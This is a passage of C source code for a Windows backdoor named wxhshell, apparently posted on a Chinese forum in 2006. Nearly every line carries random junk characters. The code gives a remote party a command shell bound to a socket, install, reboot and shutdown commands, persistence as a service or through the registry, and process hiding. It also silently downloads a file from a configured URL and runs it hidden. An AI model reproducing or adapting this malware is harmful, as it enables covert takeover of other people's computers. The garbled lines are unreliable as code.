  // 帮助 qMoo#UX  
  case '?': { -3 Sb%V\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5gkQ6& m  
    break; d|8-#.gV  
  }  ^"~r/@l  
  // 安装 t|s(V-Wq  
  case 'i': { oF a,IA  
    if(Install()) 1M b[S{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ObJ-XNcNH  
    else XMz*}B6GQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?XeaoD/  
    break; !pC`vZG"  
    } j#u{(W'r  
  // 卸载 *>2e4j]  
  case 'r': { BHiG3fP  
    if(Uninstall()) m WHyk"l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !p76I=H%  
    else `+0dz,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e tL?UF$  
    break; |UB)q5I  
    } zeq")A  
  // 显示 wxhshell 所在路径 @n=&muC}  
  case 'p': { vvs2:87zvJ  
    char svExeFile[MAX_PATH]; `$XB_ o%@  
    strcpy(svExeFile,"\n\r"); + )z5ai0m  
      strcat(svExeFile,ExeFile); j5og}P q:  
        send(wsh,svExeFile,strlen(svExeFile),0); JH u>\{8V  
    break; _s<s14+od  
    } 'nq~1 >i  
  // 重启 io(!z-$  
  case 'b': { aX zb]">  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  ?!<Q8=  
    if(Boot(REBOOT)) 7yXJ\(6R_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lMG+,?<uK&  
    else { 1GIBqs~-  
    closesocket(wsh); X&h?1lMJ /  
    ExitThread(0); PVIZ Y^64  
    } q[+ h ~)  
    break; G B,O  
    } ti$60Up  
  // 关机 ;nJ2i?"  
  case 'd': { NpCQ4 K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H:OpS-b  
    if(Boot(SHUTDOWN)) s5 {B1e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8B]\;m  
    else { Pt cq/f  
    closesocket(wsh); fmJK+  
    ExitThread(0); w^=(:`  
    } 54B`T/>R:E  
    break; t)uxW 7  
    } kr@!j@j$  
  // 获取shell ! 2knS S  
  case 's': { ~H:=p  
    CmdShell(wsh); U&{w:P  
    closesocket(wsh); 8aC=k@YE  
    ExitThread(0); _n!>*A!  
    break; Kv9FqrDj  
  } ~:PM_o*6  
  // 退出 oO`a{n-  
  case 'x': { 4)>UTMF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %O f w"W  
    CloseIt(wsh); .t8hTlV?<B  
    break; /I1n${{5  
    } w<zzS: PF*  
  // 离开 ,qo^G0XO  
  case 'q': { mXS"nd30bD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R'6(eA[K  
    closesocket(wsh); Ihr[44#  
    WSACleanup(); 'n1$Y%t  
    exit(1); .{ZJywE<  
    break; J7C?Z  
        } HG< z,gE 2  
  } ;MK|l,aIQ  
  } IW>~Yl?  
B/qN1D]U.  
  // 提示信息 l'M/et{:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q+wO\TtE  
} Q'!'+;&%  
  } sDR Av%w  
YJ-<t6  
  return; + !" Y C  
} xpCZlOld  
7[uN;B#V  
// shell模块句柄 'r ^ .Ao5  
int CmdShell(SOCKET sock) w{lj'3z I  
{ r%WHYhD  
STARTUPINFO si; Oo-4WqRJ  
ZeroMemory(&si,sizeof(si)); tQYV4h\Qj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eK5~gnv,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2{Dnfl'k  
PROCESS_INFORMATION ProcessInfo; <#;5)!gr{  
char cmdline[]="cmd"; Mk=*2=d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UZmUYSu;  
  return 0; ->o[ S0  
} r$-P  
E2t& @t%W  
// 自身启动模式 Nn-k hl|11  
int StartFromService(void) )4-!]NsV  
{ #H<}xC2  
typedef struct  LAM{ ,?~  
{ `B&=ya|bl  
  DWORD ExitStatus; :8`$BbV  
  DWORD PebBaseAddress; B u%%O8  
  DWORD AffinityMask; t#8QyN  
  DWORD BasePriority; ~3%\8,0  
  ULONG UniqueProcessId; 4}t&yu<P>  
  ULONG InheritedFromUniqueProcessId; 1Y;.fZE  
}   PROCESS_BASIC_INFORMATION; isy[RAP<  
=R 4]Kf  
PROCNTQSIP NtQueryInformationProcess; Y:#B0FD,gC  
hO{&bY0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I$x<B7U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GVu[X?q@|  
lZe-A/E  
  HANDLE             hProcess; 9o6[4Q}  
  PROCESS_BASIC_INFORMATION pbi; PhV/WjCZ  
X8}\m%gCU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *GY8#Az  
  if(NULL == hInst ) return 0; =Ti@Y  
z_'!?K{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t^>P,%$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V2AsZc0U(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M;'GnGFf  
{QmK4(k?|c  
  if (!NtQueryInformationProcess) return 0; EE|c@M^  
;$1x_ Cb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2A =Y  
  if(!hProcess) return 0; X[dH*PV  
^!i4d))  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -{J0~1'#-  
k h*WpX  
  CloseHandle(hProcess); +4Wl  
m8x?`Gw~jw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %K8YZc(&  
if(hProcess==NULL) return 0; t6`(9o@}  
0H.bRk/P+  
HMODULE hMod; kka{u[ruA  
char procName[255]; $;} @2U   
unsigned long cbNeeded; 0-aaLC~Z>  
#O,w{S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1:- M<=J?f  
J7oj@Or9  
  CloseHandle(hProcess); hR:i!  
_A& [rBm|  
if(strstr(procName,"services")) return 1; // 以服务启动 l+@k:IK  
+t1+1 Zv  
  return 0; // 注册表启动 QmGK! H>3  
} l Le&q  
l-20X{$m:  
// 主模块 "X._:||8  
int StartWxhshell(LPSTR lpCmdLine) U(x$&um(l  
{ y!:vX6l  
  SOCKET wsl; e]ST0J"  
BOOL val=TRUE; TOgH~R=  
  int port=0; 8tf>G(I{  
  struct sockaddr_in door; ]]`[tVaFr  
{R[V  
  if(wscfg.ws_autoins) Install(); RhT:]  
=h=-&DSA  
port=atoi(lpCmdLine); #lSGH 5Fp?  
>ifys)wg>  
if(port<=0) port=wscfg.ws_port; zVe,HKF/  
"}%j'  
  WSADATA data; #nft{AN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -kP2Brm  
9-&@Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TNeL%s?B3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @"98u$5  
  door.sin_family = AF_INET; $AvaOI.l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p`Tl)[*  
  door.sin_port = htons(port); Y#-c<o}f  
OVgak>$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EG &me  
closesocket(wsl); <nV3`L&]  
return 1; mr_NArF  
} "Wk K1u  
8'fF{C  
  if(listen(wsl,2) == INVALID_SOCKET) { Z\QN n  
closesocket(wsl); 3m21n7F4*  
return 1; /:BC<]s  
} Uvi@HB HJ  
  Wxhshell(wsl); *Sbc 8Y  
  WSACleanup(); SX =^C  
=%>E8)Jb  
return 0; jJ@@W~/)B  
@n9iOf~<  
} ]d%Ou]609  
$ntC{a>&  
// 以NT服务方式启动 XgKYL<k?S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DIvxut  
{ ?v F8 y;Jh  
DWORD   status = 0; (r'NB  
  DWORD   specificError = 0xfffffff; I{H!K rM!  
,O^kZ}b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H.l WHM+H4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Po\+zZjo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8(A k  
  serviceStatus.dwWin32ExitCode     = 0; 8F)9.s,*  
  serviceStatus.dwServiceSpecificExitCode = 0; {\VsM#K6  
  serviceStatus.dwCheckPoint       = 0; YY7dw:>e/  
  serviceStatus.dwWaitHint       = 0; \MmB+'f&R  
\Km+>G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -%[6q  
  if (hServiceStatusHandle==0) return; _jxysFl=  
n4"xVDL  
status = GetLastError(); h4ghMBo%  
  if (status!=NO_ERROR) AI9=?X<kh  
{ -A:'D8o#f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +_f813$C  
    serviceStatus.dwCheckPoint       = 0; bOV]!)o  
    serviceStatus.dwWaitHint       = 0; mryT%zSlM  
    serviceStatus.dwWin32ExitCode     = status; abEdZ)$  
    serviceStatus.dwServiceSpecificExitCode = specificError; z!~{3M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H66~!J0;a  
    return; ?ia O6HD  
  } A v/y  
[f$pq5f='  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [E}pU8.t6  
  serviceStatus.dwCheckPoint       = 0; Nk F2'Z{$+  
  serviceStatus.dwWaitHint       = 0; WS@8Z0@RD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZQ_~ L!ot  
} S|IDFDn  
IZ.b  
// 处理NT服务事件,比如:启动、停止 L>57eF)7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g^\>hjNX  
{  3+M+5  
switch(fdwControl) n!NA}Oa  
{ X%B2xQM 5  
case SERVICE_CONTROL_STOP: mT1Q7ta*P  
  serviceStatus.dwWin32ExitCode = 0; 'w\Gd7E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $')Uie<!8  
  serviceStatus.dwCheckPoint   = 0; cavzXz  
  serviceStatus.dwWaitHint     = 0; ~@D!E/hZx  
  { l~*d0E-$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y3'dV)  
  } Vt4,?"  
  return; 2-"`%rE  
case SERVICE_CONTROL_PAUSE: w /CD-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9v}vCg  
  break; |q_Hiap#a  
case SERVICE_CONTROL_CONTINUE: GsE =5A8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6b4]dvl_  
  break; elP#s5l4  
case SERVICE_CONTROL_INTERROGATE: :Ui'x8yt  
  break; v #Q(g/^  
}; B :1r;8{j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \&Oc}]  
} xn7bb[g;  
k,[[ CZ0j  
// 标准应用程序主函数 FWyfFCK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `SYq/6$VEH  
{ 7)Bizlf  
6uWPIM;  
// 获取操作系统版本 #j"N5e}U  
OsIsNt=GetOsVer(); i$'#7U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ogE|8`Tq^  
d1d:5 b  
  // 从命令行安装 kmsgaB7?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1 swqs7rR|  
(R{z3[/u&  
  // 下载执行文件 Vdf~rV  
if(wscfg.ws_downexe) { 7!8R)m^1[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xa%2w]  
  WinExec(wscfg.ws_filenam,SW_HIDE); J)=Ts({  
} =$vy_UN  
RsP^T:M}$  
if(!OsIsNt) { \YF'qWB  
// 如果时win9x,隐藏进程并且设置为注册表启动 1f5;^T I  
HideProc(); th|TwD&mO  
StartWxhshell(lpCmdLine); 4= hz4(5a  
} jX91=78d  
else M4}zRr([.5  
  if(StartFromService()) &uu69)u  
  // 以服务方式启动 d7L|yeb"  
  StartServiceCtrlDispatcher(DispatchTable); C;rK16cn  
else Kdd5ysTQ  
  // 普通方式启动 #TY[\$BHs  
  StartWxhshell(lpCmdLine); K>`*JJ,  
_ ~E_#cNn  
return 0; _VAX~Y]  
}
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只看该作者 1 发表于: 2006-10-10
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